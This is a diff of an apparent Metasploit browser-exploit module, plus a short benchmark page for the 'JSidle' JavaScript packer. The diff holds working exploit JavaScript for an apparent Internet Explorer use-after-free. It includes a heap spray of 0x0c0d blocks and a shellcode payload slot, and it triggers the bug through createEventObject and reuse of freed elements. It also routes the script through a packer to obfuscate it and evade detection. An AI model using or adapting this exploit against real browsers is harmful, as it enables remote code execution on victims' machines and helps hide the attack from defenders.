56 | -var #{var_el_array} = new Array();
57 | + js = %Q|var element = "COMMENT";
58 | +var el_array = new Array();
59 | for (i = 0; i < 1300; i++)
60 | {
61 | -#{var_el_array}[i] = document.createElement(#{var_element});
62 | -#{var_el_array}[i].data = "#{bleh}";
63 | +el_array[i] = document.createElement(element);
64 | +el_array[i].data = "#{bleh}";
65 | }
66 | -var #{var_event} = null;
67 | -var #{var_memory} = new Array();
68 | -var #{var_unescape} = unescape;
69 | -function #{var_boom}()
70 | +var event2 = null;
71 | +var memory = new Array();
72 | +var unescape = unescape;
73 | +function boom()
74 | {
75 | -var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
76 | -var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
77 | -do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
78 | -for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
79 | +var shellcode = unescape( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
80 | +var spray = unescape( "%u0c0d%u0c0d" );
81 | +do { spray += spray } while( spray.length < 0xd0000 );
82 | +for (i = 0; i < 150; i++) memory[i] = spray + shellcode;
83 | }
84 | -function #{var_loaded}(#{var_loaded_arg})
85 | +function #{var_loaded}(loaded_arg)
86 | {
87 | -#{var_boom}();
88 | -#{var_event} = document.createEventObject(#{var_loaded_arg});
89 | +boom();
90 | +event2 = document.createEventObject(loaded_arg);
91 | document.getElementById("#{var_span_id}").innerHTML = "";
92 | -window.setInterval(#{var_grab_mem}, 50);
93 | +window.setInterval(grab_mem, 50);
94 | }
95 | -function #{var_grab_mem}()
96 | +function grab_mem()
97 | {
98 | p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
99 | -for (i = 0; i < #{var_el_array}.length; i++)
100 | +for (i = 0; i < el_array.length; i++)
101 | {
102 | -#{var_el_array}[i].data = p;
103 | +el_array[i].data = p;
104 | }
105 | -var t = #{var_event}.srcElement;
106 | +var t = event2.srcElement;
107 | }
108 | |
109 | - js_encoded = encrypt_js(js, @javascript_encode_key)
110 |
111 | + @packer.js = js
112 | + res = @packer.pack()
113 | + js_encoded = res[:js_encoded]
114 | +
115 | html = %Q|
116 |
117 |
118 |
--------------------------------------------------------------------------------
/tools/benchmark.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 | This benchmark helps to find a suitable value for the speed option of the JSidle packer.
14 | Open this page in the target browser to benchmark the javascript execution speed.
15 |
16 |
34 |
35 |
36 |
--------------------------------------------------------------------------------